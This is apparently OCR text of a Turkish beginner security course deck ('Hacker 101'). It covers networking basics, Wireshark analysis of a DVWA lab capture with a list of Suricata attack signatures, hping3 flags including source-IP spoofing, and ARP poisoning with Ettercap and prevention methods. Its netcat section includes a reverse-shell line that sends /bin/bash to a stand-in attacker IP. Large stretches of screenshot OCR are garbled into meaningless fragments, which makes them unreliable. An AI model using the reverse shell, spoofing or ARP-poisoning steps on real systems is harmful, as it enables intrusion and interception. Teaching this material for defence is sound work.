geligtirilen bir TCP/IP protokoll ve bu isi yapan programlara verilen genel isimdir.


https://tr.wikipedia.org/wiki/ARP
https://tr.wikipedia.org/wiki/IP_adresi
https://tr.wikipedia.org/wiki/MAC_adresi
https://tr.wikipedia.org/wiki/ARP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/ICMP
https://tr.wikipedia.org/wiki/Ping
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RIP (Router Information Protocol)

e RIP yani Router Bilgi Protokolu router'larin yonlendirme tablolarini otomatik olarak
uretebilmesi igin yaratilmigtir.

OSPF (Open Shortest Path First)

e OSPF yani ik Acik Yone Oncelik ayni RIP gibi router'larin yonlendirme tablolarini
otomatik olarak uretebilmesine yarar. OSPF, RIP'ten daha gelismis bir protokoldur.

SSH (Secure Shell)

e SSH guvenli veriiletimi igin kriptografik ag protokoludur


https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/OSPF
https://tr.wikipedia.org/wiki/A%C4%9F_protokol%C3%BC
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Network Address Translation (NAT) (Ag Adresi Donustirme),

TCP/IP agindaki bir bilgisayarin yonlendirme cihazi ile bagka bir aga cikarken

adres uzayindaki bir IP ile yeniden haritalandirma yaparak IP paket bagligindaki
ag adres bilgisini degistirme surecidir.

Packet before Packet after

................... / translation translation
___________________
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e Port: Donanimsal ve Sanal olarak ikiye ayriliyor.Temelde bilgisayar ile dis
aygitlar arasinda iletisimi saglayan veri yoludur.Sistem Uzerinde calisan
internet ile haberlesen her sistem sanal bir port kullanir.Onemli port
numaralarina ve servislerine deginecegiz bunlardan zaafiyet barindiranlar
uzerinden bir sisteme sizabilirsiniz.Lab kisminda bu senaryoyu inceleyecegiz.

e Port numaralari 0 ile 65535 arasinda degisen numaralar alabilir.
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e 21FTP 194 IRC

e 22SSH 443 SSL

e 23 TELNET 445 SMB

e 25SMTP 1433 MSSQL

e 53 DNS 3306 MYSQL

e 80HTTP 3389 Remote Desktop
e 110 POP3

e 115 SFTP

e 135RPC

e 143 IMAP
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e Suan etkin olarak IPv4 kullaniimakta ve IPv6 ya gecilmektedir.(IPv4 : Internet
Protocol Version 4, IPv6: Internet Protocol Version 6 demektir.)

e Bu gecis IPv4 un IP adres araliginin gogunun kullaniimasi ve ilerleyen yillarda
yetmeyeceginden dolay! IPv6 ya gecilmektedir.Bu sureg¢ gerek uyumluluk
sorunlarindan gerek maliyet gerekse guvenlik nedenlerinden dolayi ¢ok yavas
ilerlemektedir.
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IPv4 Adresleme:

32 bittir.2 Gzeri 32 den 4 milyardan fazla ip adresi ile adresleme yapmaktadir.

IPv4 ip adresi 4 oktetten olusur ve her bir oktet 8 bitten olusmaktadir.
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IPv4 Adresleme:

An |IPv4 address (dotted-decimal notation)

L7 e 2 Rl
\ 4 \ 4 4 4

10101100 .00010000.11111110.00000001

| One byte =Eight bits

I
Thirty-two bits (4 x 8), or 4 bytes
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IPv4 Adres Siniflari:

A sinifi adresler : 1-126

B sinifi adresler : 128-191
C sinifi adresler : 192-223
D sinifi adresler : 224-239
E sinifi adresler : 240-254

NOT: Bunlarin disinda 6zel IPv4 araliklari mevcuttur.
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Hub (Gobek)

Hub aslinda igerisinde tim portlari birbirine baglayan
kablolardan olusmus bir cihazdir ve kablolardan tasinan
bilgiyi anlama kapasitesine sahip degildir.Aptal bir
cihazdir.Yalnizca bir porttan gelen paketleri diger butun
portlara yayin (boardcast) seklinde iletir. Bu yuzden
fiziksel katmana dahildir.




Temel Network Bilgisi | NETWORK CIHAZLARI

Switch (Network Anahtari)

Switch bilgisayarlarin ve diger ag 6gelerinin
birbirlerine baglanmasina olanak veren ag
donanimlarindan biridir. OSI modelinin 2.
katmaninda ve yeni dagiticilar IP routing yapabildigi
icin 3. katmanda da caligir.Hubdan farkli olarak
gelen paketin igerigini anlayabilir ona gore
anahtarlama yapar.



https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
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Bridge (Kopru)

iki TCP/IP agini birbirine baglayan bir
donanimdir. iki veya daha fazla ayni
protokolu kullanan aglari baglamak
icin kullanilan bir cihazdir. Baglama
islemi, iki agdaki her mesaji birbirine
tekrarlanarak saglanir.



https://tr.wikipedia.org/wiki/TCP/IP
https://tr.wikipedia.org/wiki/Donan%C4%B1m
https://tr.wikipedia.org/wiki/Donan%C4%B1m
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Router (Yonlendirici)

Gelen ag paketlerini incelemek ve
buna gore istemci bilgisayarlara
gonderilmesini saglamaktadir. bu
paketlerin en saglikli ve hizli sekilde
portlardan gegcmesini saglamaktadir.

™ our IP Address
i 7213408

Your B
- d
5 19 1sad1_ 3

ISP

Routing farkli networklerin birbirleriyle
haberlesmek icin hangi yolu
kullanmasi gerektiginin hesaplanmasi
ya da segilmesi islemidir. Routing
islemini Router(yonlendirici) lar yapar.
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Firewall (Guvenlik Duvari)

Guvenlik duvari bir kural kimesi temelinde
aga gelen giden paket trafigini kontrol eden
donanim tabanli ag guvenligi sistemidir.
Bircok farkl filtreleme 6zellidi ile bilgisayar ve
agin gelen ve giden paketler olmak tzere
internet trafigini kontrol altinda tutar.

B paloalio



https://tr.wikipedia.org/wiki/Bilgisayar
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/%C4%B0nternet

WAF Nedir?

WAF (Web Application Firewall) : Web Uygulamalari Guvenlik duvaridir.waffOOf
ile sistemde firewall olup olmadigini kontrol edebilirsiniz.

VV
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USER REQUESTS WEE AFPPLICATION
WEEBE ARPFLICATICOM FIREWALL
[Identifies & blocks

malicious traffic
& requests]
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IDS : Intrusion Detection Systems : Kotu niyetli ag hareket ve baglantilarinin
testipi icin kullanilan sistem. Amaci tanimlama ve loglamadir.

IPS : Intrusion Prevention Systems : Kotlu niyetli ag hareket ve baglantilarinin
onlenmesi igin kullanilan sistem. Amaci kotu niyetli ag hareketlerinin onlenmesidir.

IDPS : Intrusion Detection and Prevention Systems : Kotu niyetli ag hareket ve
baglantilarinin dnlenmesi ve tanimlanmasi icin kullanilan sistem. Amaci
tanimlama, loglama, limitleme ( bazi sistemler belli bir limitin Gstine ¢iktiginda
saldiri kabul edilir. ) ve durudrmadi.
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Acces Point (Erisim Noktasi)

Access point cihazlarin asil gorevleri
sinyal guclendirmek, erisim noktasi
olusturmak ve sinyalleri kablosuz
olarak iletmektir. Access pointlerde
bulunan router ozelligi ile dilerseniz
kablolu olarak baska bilgisayarlara da
internet baglantisi veya ag baglantisi
saglayabilirsiniz.
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MOdem = __-f-__k Computer
| "
N . — =T
Modem, bilgisayarlarin genel aga  interet Modem Router % =< |y computer
baglantisini saglayan ve bir o
bilgisayari uzak yerlerdeki g nhare

bilgisayarlara baglayan aygittir.
Modem, verileri ses sinyallerine
ses sinyallerini verilere
donusturerek verileri tasir. Genis
ag kurmak icin mutlaka bulunmasi
gereken ag elemanidir.



https://tr.wikipedia.org/wiki/Bilgisayar
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/Sinyal
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Network Paketleri :
HTTP,TCP/ IP,DNS,
ARP, TLSV (HTTPS)

vb protokol paketleri

Typical
Packet —™

Contains
the Physical
(MAC)
addresses

revel 2 Level 3 | Level 4 Lovel 5.7
HTTP
Tcp |FTP
P K DNS
[ L
ff ff
Contains the / /
Logical IP Contains the Data
addresses Port Numbers
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Paket Yakalama ve Paket Analizi : ( Wireshark )

Wireshark ismiyle ¢ikan bu yazilim, bilgisayara ulasan paketleri yakalamaya ve
bu paketlerin igerigini gorintilemeye imkan tanir. Baska bir deyigle, bilgisayara
bagli olan her turla ag kartlarindaki (Ethernet karti veya modem kartlari) tim
TCP/IP mesajlarini analiz edebilen bir programdir.
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Unix ve Windows isletim sistemleri icin uygundur.

Yerel ag arayuzunden paketleri tutar, ayrintili bir sekilde protokol bilgileriyle
goruntuler.

Tutulan paketleri kaydetme ozelligi vardir.
Cesitli kriterlerde paket arar ve filtreler (suzer).

Alinan veya gonderilen paketleri filtrelemeyi baz alarak renklere ayirir ve
katagorize eder.

Cesitli istatistikleri, yapilan ayarlar dogrultusunda, kullaniciya sunar.

Bircok protokol icin sifre cozme destegi sunar.
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File

Filter

No .

atack.pcap [Wireshark 1.12.6 (Git Rev Unknown from unknown)]
Edit ‘View Go Capture Analyze Statistics Telephony Tools Internals Help
3] D x O Q « =» J F ¥
;| http | - | Expression... Clear Apply
Time Source Info

Destination

£ 1 * 1
3 24.34296400( 192.168.237.1 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1
4 25.34323000( 182.168.237.1 23055355 250 Ss5DP 215 M-SEARCH * HTTP/1.1
S 26. 344652000 192.168.237.1 239.2355.255. 250 SSDP 215 M-SEARCH * HTTP/1.1
64 79.90971200( 192.168.237.1 239.255.255.250 SSDP 179 M-SEARCH * HITP/1.1
59 B82.91100400( 192.168.237.1 239.255.255.250 SSDP 179 M-SEARCH * HTITP/1.1
70 85.912395000( 182.168.237.1 230° 55355 250 Ss5DP 179 M-SEARCH * HTTR/1.1
71 88.93618700( 182.168.237.1 238 F55 . Fn5 FEE SSDP 179 M-SEARCH * HTTRP/1.1
72 91.93635600( 1892.168.237.1 239.255. 255. 250 SsDP 179 M-SEARCH * HITRP/1.1
73 94,93732200( 192.168.237.1 239.255.255.250 SSDP 179 M-SEARCH * HTTP/1.1
205 143.3462170( 182.168.237.1 23055355 250 Ss5DP 215 M-SEARCH * HTTP/1.1
206 144.3479700( 192.168.237.1 239 _ 255 _355_250 SSDP 215 M-SEARCH * HTTP/1.1
207 145.2476460( 192.168.237.1 239.255. 255. 250 SsDP 215 M-SEARCH * HITP/1.1
208 146.34B1690( 192.168.237.1 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
227 263.3390470( 182.168.237.1 il e e | SsDP 215 M-SEARCH * HTTP#1.1
228 264.3403050( 192.168.237.1 23955 _I55_I50 SsDP 215 M-SEARCH * HTTP/1.1
229 265.34149820( 192.168.237.1 239.255. 255. 250 SsDP 215 M-SEARCH * HITP/1.1
230 266.3433590( 192.168.237.1 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
328 371.5875400( 192.168.237.128 182 1688.23F. 139 HTTRE 2FE BEE FIETERE] -
330 371.6064420( 192.168.237.129 192 _168_337_ 198 HTTRE 11590 HITP/1.1 200 OK (textshtml)
3232 2/1.7691110( 192.168.237.128 192.1688.237.129 HTTRP 387 GET /fawicon.lico HITR/Ll.1
333 371.7655490( 192.168.237.128 192.168.237.128 HTTP 583 HTTP/1.1 404 Not Found (text/html)
339 373.9117900( 192.168.237.128 192.168.237.129 HTTP 415 GET /fdwwa/ HTTP/1.1
» User Datagram Protocol Port: 61602 (61602), Dst Port: 1900 (1900)
e 01 00 Se 7f ff fa 00 5@ S6 cO 00 ©2 02 00 45 0O R L e E.
0010 00 c9 13 Shb 00 OO Bl 11 0OF e5 c0 a8 ed 01l ef ff ... . ... ...,
ooz0 ff fa fo a2 07 6c 00 bS 24 87 4d 2d 53 45 41 52 $.M-SEAR
QO30 43 48 20 23 20 48 54 54 50 2f 31 2e 31 0d 0a 48 CH * HTT P/1.1..H
o040 4f 53 54 33 20 32 33 39 2e 32 35 35 2e 32 35 35 0s5T: 239 .255.255
[6lois1o] e 37 35 30 Fa 31 39 30 30 0d Na Ad 41 4e 33 20 S0: 190 0. MAN:
@ ® File: "froot/Desktopfatack.pcap” ... Packets: 2079 + Displayed: 72 (3.5%) : Load time: 0:00.023 Profile: Default
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17-01-29

[ |

File Edit “iew Go Capture Analyze Statistics Telephony Tools Internals Help
= D ®x o Q « =»> J F B
Filter: | - | Expression... Apply  Sawve
No. Time Source Destination Protocol Length Info

BE « a e/ &5

(text/html)

400. 31290100

HITP/1.1 200 0K

417 4A00.3129070( 192. 168.237.128 192.168.237.129 TCP 66 6082180 [ACK] Seq=4283 Ack=20679 Win=83968 Len=0 TSval=330128 TSecr=28047
418 400.8216970( 192. 168. 237.141 192.168.237.2 NEBNS 110 Refresh NB WORKGROUP<le=
419 401.7041450( 192. 168.237.128 192.168.237.129 HTTP 509 GET /dvwa/vulnerabilities/brutes HTTP/1.1
420 401.71926800 192. 168.237.129 192.168.237.128 TCP 4410 [TCP segment ofges : P s 2
421 401.7193050( 192.168.237.128 192.168.237.129 TCP 66 60821-80 [AcK] .
422 401.7208080( 192.168.237.129 192.168.237.128 TCP 508 [TCP segment of| [Stream Content
423 401.7208210( 192.168.237.128 192.168.237.129 TCP 66 60821480 [ACK] ||| _/body=
424 401.7208460( 192.168.237.129 192.168.237.128 HTTP 71 HTTP/1.1 200 OK
425 401.7208580( 192. 168.237.128 192.168.237.129 TCP 66 650821-80 [ack] || |</html=
426 402.22190200 192. 168. 237. 128 192.168.237.2 DNS 88 standard query Egg{_ffsga{éggég%p?ggHTTpfl-1
St Ol A D e 132 1B8 e DN BE SteqdangEUERy DT e e o L e s R i R Ee e iy ) GeeRG 20 I o
428 A02.3259180( 192. 168.237.141 192.168.237.2 NENS 110 Refresh NB WORK | i refox,/38.0 Iceweasel/38.6.0
429 4A03.8295610( 192. 168. 237.141 192.168.237.2 NENS 110 Refresh NB WORK | accept: text/html,application/xhtml+xml,application,/xml;g=0.9,*/
430 404.2211140( 192. 168.237.128 192.168.237.2 DNS 88 Standard query || *;g=0.8
431 404.2327460( 192.168.237.2 192.168.237.128 DNS 88 Standard query || Accept-Language: en-Us,en;q=0.5
432 404.9199430C 192. 168.237. 128 192.168.237.129 HTTP 530 GET /dwvwa/vulne é;$?9§'E”C°d1”g: gzip, deflate
433 404.9361170( 192.168.237.129 192.168.237.128 TCP 1514 [TCP segment of| | Rafarer: http://102.168.237.129/dvwaslogin. php
434 404.9361460( 192.168.237.128 192.168.237.129 TCP 66 5082180 [ACK] |||cookie: security=high; PHPSESSID=6804b43achb07dag87easc8sb2csc2fe46
435 404.9361760( 192.168.237.129 192.168.237.128 TCP 29562 [TCP segment of | Connection: keep-alive
436 404.9361820( 192. 168.237.128 192.168.237.129 e 66 60821-+80 [Ack] |||Content-Type: application/x-www-form-urlencoded
437 404.9362760( 192. 168. 237. 129 192.168.237.128 HTTP 403 HTTP/1.1 200 oK | [content-Length: 44
438 4A04.9362990( 192. 168.237.128 192.168.237.129 TcP 66 6082180 [ACK] || [yyepyysmem————————
 » Transmission Control Protocol, Src Port: 80 (80), Dst Port: 60821 (60821), Seq: 20178, Ack:|[Pate: Sun, 29 Jan 2017 09:46:16 GMT
»_[2 Reassembled TCP Segments (4845 bytes): #414(4344), #415(501)] S e Pon) The
0000 00 Bc 29 31 8f 5T G0 Oc 29 fa dd 2a 02 00 45 GO L Exnires: Thia 19 Mov 1981 AR-52-00 GMT
0010 02 29 fO c2 40 00 40 06 eb b8 cO a8 ed 81 cO a8 : 7 -
0020 ed 80 0D SO ed 95 de D3 el a2 b7 09 1a 54 80 18  ...P.... ..... | Entire conversation (40942 bytes) =l
anzn. 02 oh of - oo oo 6l 6l 68 na oo on Gd st oo oS m = = = =
Frame (567 bytes) Reassembled TCP (4845 bytes) | Find || Save As || Print | ASCIl () EBEDIC () Hex Dump | C Arrays () Raw
@ *  File: YrootjDesktopfatack.peap” ... Packets: 2079 « Displayed: 2079 (100.0%) - Load time: 0:00.016 Help | | Filter Out This Stream | | Close

I o
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atack.pcap [Wireshark 1.12.6 (Git Rev Unknown from unknown)l

17-01-29

File Edit ‘View Go Capture Analyze Statistics Telephony Tools Internals Help
m & | o x o o « » 2 7 ¢ BEEBE &« a a Fl @ @8E=

Filter: | arp | - | Expression... Clear Apply Sawve

Source Destination Protocol Length Info
SARE o TeRiWhohas

T e

Vmware_12:ab:7ec Vmware_c0:0 ARP 60 192.168.237.141 1s at 00:0c:29:12:ab:7c
102 130.3254000( Vmware_31:8f:5f Broadcast ARP 42 who has 182.168.237.1417 Tell 182.168.237.128
103 130.32557000 Vmware_12:ab:7c Vmware_31:8f :5f ARP B0 192.168.237.141 1s at OD:0c:29:12:ab:7c
213 153.8042600( Vmware_c0:00:08 Vimware_fa:dd:2a ARP 60 Who has 192.168.237.1297 Tell 182.188.237.1
214 153.80454500 Vvmware_fa:dd:2a Vmware_c0:00:08 ARP 60 192.168.237.129 1s at 00:0c:29:fa:dd:2a
245 317.4312850( Vmware_31:8f :5f Vmware_f28:4b:ea ARP 42 who has 182.168.237.2547 Tell 182.168.237.128
246 217.4314440( Vmware_f8:4b:ea Vmware_31:8f :5f ARP 60 192.168.237.254 1s at OR:50:56:f8:4b:ea
269 336.2680600( Vmware f3:5e:fg9 Broadcast ARP 60 Who has 192.168.237.1287 Tell 182.168.237.2
270 336.2681090C Vmware_31:8f :5f Vmware_f3:5e:f9 ARP 42 192.168.237.128 1s at 00:0c:29:31:8f:5f
314 364.9519380{Vmware_Bl:Bf:Sf Broadcast ARP 42 who has 192.168.237.1377 Tell 192.168.237.128
215 365.9507880( Vmware_31:8f:5f Broadcast ARP 42 who has 1892.168.237.1377 Tell 182.168.237.128
316 366.9513240( Vmware_31:8f:5f Broadcast ARP 42 who has 192.168.237.1377 Tell 192.168.237.128
317 367.9511510C Vmware_31:8f:5f Broadcast ARP 42 who has 182.168.237.1377 Tell 192.168.237.128
318 368.9509190C Vmware_31:8f :5f Broadcast ARP 42 who has 182.168.237.1377 Tell 192.168.237.128
319 369.9511500C Vmware_31:8f :5f Broadcast ARP 42 who has 182.168.237.1377 Tell 1892.168.237.128
324 370.9512240( Vmware_31:8f:5f Broadcast ARFP 42 wWho has 182.168.237.1377 Tell 192.168.237.128
335 371.9513780( Vmware_31:8f:5f Broadcast ARP 42 who has 192.168.237.1377 Tell 192.168.237.128
338 372.9510580( Vmware_31:8f :5f Broadcast ARP 42 who has 182.168.237.1377 Tell 192.168.237.128
384 389.2233750( Vmware_31:8f:5f vmware f3:5e:f9 ARP 42 who has 192.168.237.27 Tell 192.168.237.128
385 389,2237480( Vmware_f3:5e:f9 Vmware_31:8f:5f ARP 60 192.168.237.2 1s at 00:50:56:f3:5e:f9

0000 00 Oc 29 12 ab 7c Q0 S0 56 cO 0D 02 08 05 00 01 cadan [P M e
0le 02 00 05 04 00 Ol Q0 S0 56 cO 00 028 c® a8 ed 01 ....... BT TRS

|9920 00 Gc 29 12 ab 7c cD a8 ed 8d 00 00 OO 00 0O QO L B
030 00 GO0 00 00 BE 00 B 0B 60 0B ee B LLlL.....

File: "froot/Desktopfatack pcap” ... Packets: 2079 + Displayed: 21 (1.0%) : Load time: 0:00.023 Profile: Default
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PCAP DOSYALARINDA SALDIRI ANALIZI
3 virustotal

SHAZ5E6: MMal225ad9b47 1c54T7dE940767ef303acd 18bdd 0238 1ef067 3dd37d0342ea64d ﬁ

File name: ataclk. pcap
S— @0 & 1
5 1/54

ratio:

Analysis date: 2017-01-29 10:05:43 UTC { O minutes ago )
= Analysis & File detail © Additional information - Comments Civotes
Intrusion Detection System Result
Smnort 19 alerts
Suricata 24 alerts
Antivirus Result Update
ClamAal Win. Exploit.dmp_ Call_aAdditive-1 20170129
ALY ac L~ 20170129
PG L~ 20170128
Sware L~ 20170129



Hacker 101 | Siber Guvenlige Giris
PCAP DOSYALARINDA SALDII}JA_NALiZi

L2 CIan

= 1/54
ratio:
Analysis date: 2017-01-29 10:05:43 UTC ( O minutes ago }
= Analysis &, File detail @ Additional information - Comments A votes

PCAP file! The file being studied is a network trafiic capiure, when studying it with intrusion detection systems Snort triggered 19 alerts and Suricata
triggered 24 alerts.

[2Wireshark file metadata

File encapsulation Ethernet

Number of packets 2079

Data size 1324 kKB

Start time 2017-01-29 10:39:58
File ty pe Wiresharlk... - pcapng
End time 2017-01-29 10:47:17
Capture duration 439 seconds

@ HTTP requests

[+] GET htlp:i192 168237 129/

[+ GET hitp192. 168 237 129 Tavicon.ico

[+] GET hitp:192 168 237 129/ dwvwa/

[+] GET hitp:#192.168.237.129/dvwallogin.php
[+i POST hitpM192 168 .237 129/ dvwallogin.php
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PCAP DOSYALARINDA SALDIRI ANALIZI

Ak Suricata alerts Ermerging Threats ETPm ruleset

GFPL NMETEBIOS SME-DS IPCE share access (Generic Protocol Command Decode ) [2102465]

ET EXFLOIT WSFTFD Backdoor User Login Smiley (Attempied Administrator Privilege Gain) [2013188]

ET FOLICY Http Client Body contains pwd= in cleartext (Fotential Corporate Frivacy Violation) [2012888]

GFPL MISC UPNP service discover attempt (Detection of a NMetwork Scan) [Z2101917]

GPL ATTACK_RESPOMSE id check returned root (Fotentially Bad Traffic) [21004987

ET POLICY Possible Kali Linux hostname in DHCF Request Packet (Fotential Corporate Privacy Violation) [202297 3]

ET POLICY Http Client Body contains password= in cleartext (Potential Corporate Privacy Violation} [2012885]

GPL NETEBIOS SMB-DS Session Setup NMTMLSSPF asn1 overflow attempt ({ Generic Protocol Command Decode} [Z2102383]

ET POLICY Reserved Internal IF Traffic (Potentially Bad Traffic) [2002752]

ET SHELLCODE METASPLOIT ESD Bind shell (JmpCallAadditive Encoded) (Executable Code was Detected ) [2010403]

ET SHELLCODE Fossible TCP x86 JMFP to CALL Shellcode Detected (Executable Code was Detected) [2011803]

GPL FOLICY TRAFFIC Mon-Standard IF protocol (Detection of a Mon-Standard Frotocol or Event) [Z2101620]

ET METEIOS Microsoft Windows METAFI Stack Overflow Inbound - MSO8-067 (15) (Attempted Administrator Privilege Gain} [Z008705]
ET SHELLCCODE METASFLOIT BSD Reverse shell (dmpCalladditive Encoded 1) (Executable Code was Detected) [Z2010423]
GPL NETEIOS SME Session Setup NMTMLSSPF unicode asn1 overflow attempt (Generic Protocol Command Decode} [2103000]
GPL ATTACK_RESPOMSE id check returned userid (Fotentially Bad Traffic) [Z2101882]

GFL NETEIOS SMEB SMEB_COM_TRAMSACTION Max Data Count of 0 DS Attempt (Detection of a Denial of Service Attack} [2102102]
ET WEE_SFECIFIC_APFS Wordprass wp-login.php redirect_to credentials stealing attempt (Web Application Attack) [Z003508]
ET DMNS Standard query response, Mame Error (MNot Suspicious Traffic) [2001117]

ET SHELLCODE =86 JmpCalladditive Encoder (Executable Code was Detected) [Z2002908]

ET WEEB_SERWER FPHF Fossible hitp Remote File Inclusion Attempt (Web Application Attack) [2012997]

ET FOLICY Login Credentials Fossibly Passed in POST Data (Potential Corporate Privacy Violation) [2Z009004]

ET FOLICY Cleartext WordFress Login (Fotential Corporate Privacy Wiolation) [2012843]
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Hping3 ve Uygulamalar :
Hping'in paket gondermek icin ¢esitli modlari ve komut satiri parametreleri vardir.
Temel olarak hping ile raw ip, icmp, tcp ve udp paketleri Uretilebilir.

Uretilecek paketlere ait tum 6zellikler komut satirindan belirtilebilir
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Hping3 ve Uygulamalarn :

SYN (hping -S)
FIN (hping -F)
RST (hping -R)
ACK (hping -A)
PUSH (hping -P)

URG  (hping -U)
Kullanimi : hping -S -¢c 100 -p 80 gurelahmet.com
-c : Bu parametre ile ka¢ adetr bayrak gonderilecegi belirtilir.
-p : Bu parametre ile hangi porta gonderilecegi beliritilir.
-a : Sahte IP adresi vererek IP adresinizi gizlememizi saglayan parametre.
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Netcat (nc) ve Uygulamalar:

Netcat, TCP/IP Uzerinden veri gonderme veya almaya yarayan acik kaynak kodlu
bir aractir.

Netcat araci ile herhangi bir portu dinleyebilir, port tarama, baglanti olusturma,
shell oturumu, dosya transferi gibi birgok sey yapilabilir.

nc -v gurelahmet.com 80 nc -vz gurelahmet.com 80
nc -v-n |IP_ADRESS -z 1-1024

nc -e SALDIRGAN_IP PORT -e /bin/bash -lp nc -lvp PORT



MHz: Z301

Cdam.Com




Netcat (nc) ve Uygulamalari:

Tasks: 0 /133 (BUS: OS)F

‘home /msfadmin
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Arp Poisinig,MITM ve Ettercap Uygualamari :

Arp Poisoning Saldirisi:

Arp zehirlenmesi, ARP (Adress Resolution Protocol) OSI katman modelinde
network katmaninda yer alir.Bu katmanda yer alan ARP, IP adreslerini MAC
adreslerini ¢evirir.Bu IP adreslerine karsilik gelen MAC adreslerini ARP
tablolarinda tutar ve ARP tablolari da belirli araliklarla guncellenir.Bir ip adresine
karsilik, sahte bir MAC adresi olusturulmasina ARP zehirlenmesi denir.
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Web Server

MITM
Connection
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Arp Poisinig,MITM ve Ettercap Uygualamari :

Arp Poisoning Saldirisi igcin Kullanilabilecek Araclar :
- Arp Tool 1.0.2
- Etherial yada Wireshark
- Arpoison
- Dsniff
- Ettercap
- Cain & Abel
‘WinArpSpoofe

SSL Trafigini Dinlemek icin SSLTrip araci kullanilmaktadir.



Hacker 101 | Siber Guvenlige Giris

ARP Poisoning Onleme Yontemleri :

1-Static ARP : Arp tablosunun statik olarak doldurulmasi arp anonslarina ihtiyaci
ortadan kaldiracagi icin bu saldiri onlenmis olur ancak bayidk networkler icin
uygulanabilirligi dusuktuar.

2-Encryption: Network uzerinde akan trafik sifrelenirse paketler ele gecirilse dahi
okunamadiqi i¢in ise yaramayacaktir.Ya da kirilmasi i¢in uzun zaman
harcayacaklardir.

3-Subnetting : Networku kucuk Vlan(Virtual Local Area Network)'lere bolmek ve
yetkili kullanicilart dis ortamdan soyutlamak arp poisoning saldirisinin yuzeyini
azaltmaktadir.

4-Network Urlinlerinde varsa ARP security veya Dynamic ARP Inspection
ozellikleri aktif hale getirilerek saldiri dnlenebilir.

5-Ic networkte ARP Wathcher kullanarak sistemi gézlemlemek. ArpON

ve Arpalert gibi acik kaynak kodlu araclar kullanilarak ARP protokolinun guvenli
bir sekilde ¢alismasi saglanmis olur.
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Arp Poisinig,MITM ve Ettercap Uygualamari

Kali=Lirgm- 0

File Edit Wiew WM

17:58, 2016- 1'2."-'.1“

Application Finder AN =
attercap-gral Mot ime. A0 S0
. bad: 0.65. B.20, 0.09
it Al Applcations B cttercap-graphical  CPUM: 4% CPUL: 4

Camimands History 1 ,_h_ﬁ.

Clh 01 - infarmation Gathernng
rb 02 - Vulnerability Analbysis CPU HEM
. o ’ ¥ 3. 1.94
otr 03 - web Application Analysis 1 1. 48
'—h 0d - Database Assessment 3 i :
(‘6' 05 - Password Attacks B-as ok
g 05 - Wi reless Attacks
E 07 - Reverse Enginesring
2 08 - Exploitation Tools 10.9GiB; 28.
- Sniffing & Spoofing ===
'E 10 - Post Exploitation b5 Ugp: o8 e
Uz 1l - Forensics
12 - Beporting Tools
-

13 - System Senices 5% Up: @B KB

. Uploaded: 0B
ACCassornes r

Macalmmrm ank

Preferances
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Arp Poisinig,MITM ve Ettercap Uygualamari :

o SN NN ettercap 0.8.2 w® O roct 17:58. 2016-10-11 Y =

__ L ctercapoaz | - -

gy im o im .
ECT 08 bs udanurmn. I a P e HQ\_\
J.i--""- - - ?"I '“'-‘-..H‘& e
it - as \
phpshell-z 4 phishing.doc ’ | “,

-
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Arp Poisinig,MITM ve Ettercap Uygualamari :
N BREOOB - cecros:

«§ O root 1758, 2015-10-11 [ B

- - ‘.‘ Host: kali Uptime: 0h Sm AFs
Burp_Suit . PDF wihijarmmme ., MMz: 2301 Load: 6.69 28, 8,13
Tasks [ 13 cPua L CPULl: 4%
m Em = ST ean o E SEE
File m Options  nfo
pycharm- scapy-2.3.2 Django-1.6 s T DR
B U B R 1
P Bridged sniffing... Ctri+8
- =] -' 2 - B set peap filter., ctr4+p
¥ : e
¥ o, — R
D-TECT N ks udarnum...  ssistnp-0.9 ___\ o, A —
v - o e,
/ T e
; o S,

L W
[
phpshell-2.4 phishing.doc

.
L)

rS7ra7.php slowipl

> A
|
|
f
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Arp Poisinig,MITM ve Ettercap Uygualamari :

L R W] ettercap 0.8.2 “9 O root 17:59. 2015-10-11 [NIF s

o
- - & Host: kali uptime: oh 5
Burp_Suit. PDF wifijamme... MHz: 23101 8, 9.12

pycharm-... scapy-2.3.2 Django-1.6

Eile. Snaff OQptions rifo

M iooim o |
D-TECT leudanum... - ssistrip-0.9 - _\ e f._r

=

-ﬂ“\ —
. o,
- w = 4 ‘-""f../ Mh“":\\ =

o
phpshell-2.4 phishing.doc i ﬁ"‘ ettercap Input Fotole
1 w Metwork interface : | etho =
- [
e B -
rS7rs7.php slow.pl ¥ Lancel QK
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Arp Poisinig,MITM ve Ettercap Uygualamari :

4 O root 17:59, 2016-10-11 | & | | il

- - ‘L Host: kali Uptime: O 4
2301 Leoad: .75 e.38, ©
F135 CPUD: 3% CPUL:

+ - A x

|-

Burp_Swit... POF watarmame. .
. -le e .-14_,- g ..-..-J-\l—i
ettercap 0 8.2

Info

Plugins

Wiew it Filters Logging

42 i:.'u'fr:u: of dissectaors

57 ports monitored

20388 mac wendor fingerprns

1765 tep OS5 Angerprint

2182 known senices

Lua: no scripts ware specified, not starting up!
tarting Undied sniffing.
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Arp Poisinig,MITM ve Ettercap Uygualamari :

r-\. N !. ﬂ E ettercap 0.8.2

- - "‘ Host: kali Uptime: O®h 6=

Burp_Suit POF willjannrme. MHz: 2381 Load: 8.79. 8.32, 08.14
13% CPUS: 1% CPUL: 1%

pycharm-. scapy-2.3.2 Django-1.6

Start Tergets [EOBEER iew Mitm Elters Logging Plugins  |nfo

L] =

Istrip-0.9

n
@

phpshell-2.4 phishing.doc

w.pl

rS7rs7.php

57 i:-orts monitorad
20388 mac vendor fingerprint
1766 tcp OS5 Aingerpring
2182 known sendices
Lua: no scnpts were specified, not starting up!
Starting Linified sniffing...

Unified sniffing already started..

17:59, 2016-10-11
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-k = = n attarcap 0.8.2 ettarcap

- - ' Host: kall Uptime: Oh &m
Burp_Suit PDF wifijamime., MAE: 2301 Load: O0.88. 0.35. 0.15
Tasks: 1 f135 CPUB: 3% CPUL
Start Targeis wiew Mitm  Blters Logging NSO

pycharm Scapy-2.3.2 Django-1.5

